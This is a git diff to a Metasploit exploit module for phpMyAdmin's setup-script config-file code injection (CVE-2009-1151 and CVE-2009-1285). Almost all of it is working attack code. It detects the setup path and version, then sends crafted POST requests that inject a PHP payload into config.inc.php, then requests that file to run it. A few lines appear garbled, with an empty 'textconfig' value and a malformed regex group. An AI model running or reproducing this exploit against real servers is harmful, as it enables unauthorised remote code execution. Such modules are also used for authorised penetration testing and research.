diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 9b6206c3df..263a59646c 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -7,19 +7,22 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, - 'Name' => 'PhpMyAdmin Config File Code Injection', + 'Name' => 'phpMyAdmin Config File Code Injection', 'Description' => %q{ This module exploits a vulnerability in phpMyAdmin's setup feature which allows an attacker to inject arbitrary PHP code into a configuration file. The original advisory says - the vulnerability is present in phpMyAdmin versions 2.11.x - < 2.11.9.5 and 3.x < 3.1.3.1; this module was tested on - 3.0.1.1. + the vulnerability is present in phpMyAdmin versions + 2.11.x <= 2.11.9.4 and 3.x <= 3.1.3. + + There was a follow up vulnerability as the patch was + incomplete, affecting versions 3.x <= 3.1.3.1. The file where our payload is written (phpMyAdmin/config/config.inc.php) is not directly used by @@ -28,20 +31,25 @@ class MetasploitModule < Msf::Exploit::Remote after successful exploitation. }, 'Author' => [ - 'Greg Ose', # Discovery - 'pagvac', # milw0rm PoC - 'egypt' # metasploit module + 'Greg Ose', # Discovery (CVE-2009-1151, v2.11.x <= v3.0.x) + 'pagvac', # milw0rm PoC (CVE-2009-1151) + 'egypt', # metasploit + 'Tenable', # Discovery (CVE-2009-1285, v3.1.x <= v3.1.3.1) + 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2009-1151' ], [ 'OSVDB', '53076' ], [ 'EDB', '8921' ], - [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php' ], - [ 'URL', 'http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ] + [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-3/' ], + [ 'URL', 'https://web.archive.org/web/20130724101149/http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ], + [ 'CVE', '2009-1285' ], + [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-4/' ], + [ 'URL', 'https://www.tenable.com/security/research/tra-2009-02' ] ], 'Privileged' => false, - 'Platform' => ['php'], + 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Payload' => { 'Space' => 4000, # unlimited really since our shellcode gets written to a file @@ -49,82 +57,308 @@ class MetasploitModule < Msf::Exploit::Remote # No filtering whatsoever, so no badchars 'Compat' => { - 'ConnectionType' => 'find', + 'ConnectionType' => 'find' }, - 'Keys' => ['php'], + 'Keys' => [ 'php' ] }, 'Targets' => [ - [ 'Automatic (phpMyAdmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1)', {} ], + [ 'Automatic (phpMyAdmin 2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.1)', {} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2009-03-24', 'Notes' => { - 'Reliability' => UNKNOWN_RELIABILITY, - 'Stability' => UNKNOWN_STABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS + 'Reliability' => [REPEATABLE_SESSION], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [CONFIG_CHANGES] } ) ) register_options( [ - OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpMyAdmin/']), + OptString.new('URI', [ true, 'Base phpMyAdmin directory path', '/phpMyAdmin/' ]), + # /scripts/setup.php - <= 2.11.9.4/3.0.x + # /setup/ - >= 3.1.x + OptString.new('SETUP_PATH', [ false, 'phpMyAdmin setup directory path (Blank to automatically detect)' ]) ] ) end - def exploit - # First, grab the session cookie and the CSRF token - print_status("Grabbing session cookie and CSRF token") - uri = normalize_uri(datastore['URI'], "/scripts/setup.php") + def request_setup(uri) + uri = normalize_uri(datastore['URI'], uri) + vprint_status "Trying: #{uri}" response = send_request_raw({ 'uri' => uri }) - if !response - fail_with(Failure::NotFound, "Failed to retrieve hash, server may not be vulnerable.") - return + if response.nil? + vprint_error 'Error with setup request (No response)' + elsif response.code != 200 + vprint_warning "Error with setup request (HTTP #{response.code}, should be 200)" + else + vprint_good "Found: #{uri}" + + title = response&.get_html_document&.at_xpath('//title')&.text + if /phpMyAdmin (?.+?) setup/i =~ title + version = Rex::Version.new(version_str) + vprint_status "Found version: #{version}" + + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: 'phpMyAdmin', + info: "phpMyAdmin #{version}", + parents: { + name: ssl ? 'https' : 'http', + host: rhost, + port: rport, + proto: 'tcp', + parents: { + name: 'tcp', + host: rhost, + port: rport, + proto: 'tcp', + parents: nil + } + } + ) + end end - if (response.body !~ /"token"\s*value="([^"]*)"/) - fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") - return + + return response, version + end + + def find_setup_path(mode: :exploit) + if datastore['SETUP_PATH'].nil? + vprint_status 'Attempting to automatically detect phpMyAdmin setup directory path' + + response, version = request_setup('/scripts/setup.php') # phpMyAdmin <= 2.11.9.4/3.0.x + if mode == :exploit + response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig) + response, version = request_setup('/setup/') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments) + else + response, version = request_setup('/setup/') unless response&.code == 200 # This will report if folder is writable + response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # This will not + end + else + response, version = request_setup(datastore['SETUP_PATH']) end - token = $1 + + print_error 'Unable to find valid phpMyAdmin setup directory path' unless response&.code == 200 + + return response, version + end + + def check + response, version = find_setup_path(mode: :check) + return Exploit::CheckCode::Safe unless response&.code == 200 + + if (response.body !~ /"token"\s*value="([^"]+)"/) + return Exploit::CheckCode::Safe("Couldn't find token and can't continue without it. Is URI set correctly?") + elsif (response.body =~ /Cannot load or save configuration/) + return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable!)") + elsif (response.body =~ /Please create web server writable folder/) # Full message: Please create web server writable folder config in phpMyAdmin top level directory as described in documentation. Otherwise you will be only able to download or display it. + return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable! - Error: 2)") + end + + if version + vulnerable = + version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.4')) || + version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.1')) + + if vulnerable + return Exploit::CheckCode::Appears("Target version is in range! (#{version})") + else + print_status "Target version is not in range (#{version})" + end + else + print_error 'Could not determine version' + end + + return Exploit::CheckCode::Safe + end + + def php_serialize(obj) + case obj + when String + "s:#{obj.bytesize}:\"#{obj}\";" + when Integer + "i:#{obj};" + when TrueClass + 'b:1;' + when FalseClass + 'b:0;' + when Array + body = obj.each_with_index.map { |v, i| php_serialize(i) + php_serialize(v) }.join + "a:#{obj.length}:{#{body}}" + when Hash + body = obj.map { |k, v| php_serialize(k) + php_serialize(v) }.join + "a:#{obj.length}:{#{body}}" + end + end + + def valid_request(response, expected_http_code = 200) + fail_with(Failure::Unknown, 'Error with exploit request (No response)') unless response + return if [expected_http_code, 200].include?(response.code) + + fail_with(Failure::Unknown, "Error with exploit request (HTTP #{response.code}, expected #{expected_http_code})") + end + + def exploit + response, = find_setup_path(mode: :exploit) + fail_with(Failure::NotFound, 'Failed - Server may not be vulnerable') unless response&.code == 200 + uri = response.request[/^GET\s+(\S+)/, 1] + + # Find the CSRF token and session cookie + fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]+)"/) + token = ::Regexp.last_match(1) cookie = response.get_cookies - # There is probably a great deal of randomization that can be done with - # this format. - config = "a:1:{s:7:\"Servers\";a:1:{i:0;a:6:{s:#{payload.encoded.length + 13}:\"" - config << "host']='';" + payload.encoded + ";//" - config << '";s:9:"' + rand_text_alpha(9) + '";s:9:"extension";s:6:"mysqli";s:12:"connect_type"' - config << ';s:3:"tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"' + rand_text_alpha(4) + '";}}}' + case uri + # CVE-2009-1151 + when %r{/scripts/setup\.php} + vprint_status 'Constructing exploit (save request) for: <= 2.11.9.4/3.0.x' - data = "token=#{token}&action=save&configuration=" - data << Rex::Text.uri_encode(config) - data << "&eoltype=unix" + injected = "host']='';#{payload.encoded};//" - # Now that we've got the cookie and token, send the evil - print_status("Sending save request") - response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"), - 'method' => 'POST', - 'data' => data, - 'cookie' => cookie, - 'headers' => - { - 'Content-Type' => 'application/x-www-form-urlencoded', - 'Content-Length' => data.length + # There is probably a great deal of randomization that can be done with this PHP serialized array + config_hash = { + 'Servers' => [ + { + injected => '', + rand_text_alpha(9) => 'extension', + 'connect_type' => 'tcp', + 'compress' => false, + 'auth_type' => 'config', + 'user' => rand_text_alpha(4) + } + ] } - }, 3) + config = php_serialize(config_hash) - print_status("Requesting our payload") + # Now that we've got the cookie and token, send the evil + print_status "Sending exploit (save request): #{uri}" + response = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'vars_post' => { + 'token' => token, + 'action' => 'save', + 'configuration' => config, + 'eoltype' => 'unix' + } + }, 3) + valid_request(response) + # CVE-2009-1285 #1 + when %r{/setup/index\.php\?page=config\z} + uri = uri.sub(%r{/setup/index\.php\?page=config\z}, '/setup/config.php?type=post') + print_status "Sending exploit >= 3.1.x (textconfig): #{uri}" + response = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'vars_post' => { + 'token' => token, + 'eol' => 'unix', + 'textconfig' => "", + 'submit_save' => 'Save' - # very short timeout because the request may never return if we're - # sending a socket payload + } + }, 3) + valid_request(response, 303) + # CVE-2009-1285 #2 + when %r{/setup(?:/(?:config|index)\.php)?/?\z} + phpmyadmin_cookie = cookie[/phpMyAdmin=([^;]+)/, 1] + fail_with(Failure::NotFound, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie + + print_status "Sending exploit >= 3.1.x (new server): #{uri}" + response = send_request_cgi( + { + 'method' => 'POST', + 'uri' => uri, + 'vars_get' => { + 'phpMyAdmin' => phpmyadmin_cookie, + 'check_page_refresh' => '1', + 'token' => token, + 'page' => 'servers', + 'mode' => 'add', + 'submit' => 'New server' + }, + 'cookie' => cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'check_page_refresh' => '1', + 'token' => token, + 'Servers-0-verbose' => "*/#{payload.encoded}/*", + 'Servers-0-host' => 'localhost', + 'Servers-0-port' => '', + 'Servers-0-socket' => '', + 'Servers-0-connect_type' => 'tcp', + 'Servers-0-extension' => 'mysqli', + 'Servers-0-auth_type' => 'cookie', + 'Servers-0-user' => 'root', + 'Servers-0-password' => '', + 'Servers-0-auth_swekey_config' => '', + 'submit_save' => 'Save', + 'Servers-0-SignonSession' => '', + 'Servers-0-SignonURL' => '', + 'Servers-0-LogoutURL' => '', + 'Servers-0-only_db' => '', + 'Servers-0-hide_db' => '', + 'Servers-0-AllowRoot' => 'on', + 'Servers-0-DisableIS' => 'on', + 'Servers-0-AllowDeny-order' => '', + 'Servers-0-AllowDeny-rules' => '', + 'Servers-0-ShowDatabasesCommand' => 'SHOW DATABASES', + 'Servers-0-CountTables' => 'on', + 'Servers-0-pmadb' => '', + 'Servers-0-controluser' => '', + 'Servers-0-controlpass' => '', + 'Servers-0-verbose_check' => 'on', + 'Servers-0-bookmarktable' => '', + 'Servers-0-relation' => '', + 'Servers-0-table_info' => '', + 'Servers-0-table_coords' => '', + 'Servers-0-pdf_pages' => '', + 'Servers-0-column_info' => '', + 'Servers-0-history' => '', + 'Servers-0-designer_coords' => '' + } + }, 3 + ) + valid_request(response, 303) + + uri = uri.sub(%r{/setup(?:/(?:config|index)\.php)?/?\z}, '/setup/config.php') + print_status "Sending exploit >= 3.1.x (save config): #{uri}" + response = send_request_cgi( + { + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'token' => token, + 'submit_save' => 'Save' + } + }, 3 + ) + valid_request(response, 303) + else + fail_with(Failure::Unknown, "...unsure how to exploit the target based on the URI: #{uri}") + end + + # Very short timeout because the request may never return if we're sending a socket payload timeout = 0.1 + uri = normalize_uri(datastore['URI'], '/config/config.inc.php') + print_status "Requesting our payload: #{uri}" response = send_request_raw({ - # Allow findsock payloads to work - 'global' => true, - 'uri' => normalize_uri(datastore['URI'], "/config/config.inc.php") + 'global' => true, # Allow findsock payloads to work + 'uri' => uri }, timeout) - - handler + # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails + if response.nil? + vprint_warning 'The request received no response in the allotted time, and is expected, even if the exploit succeeds.' + elsif response.code != 200 + vprint_error "Error with payload request (HTTP #{response.code}, should be 200)" + end end end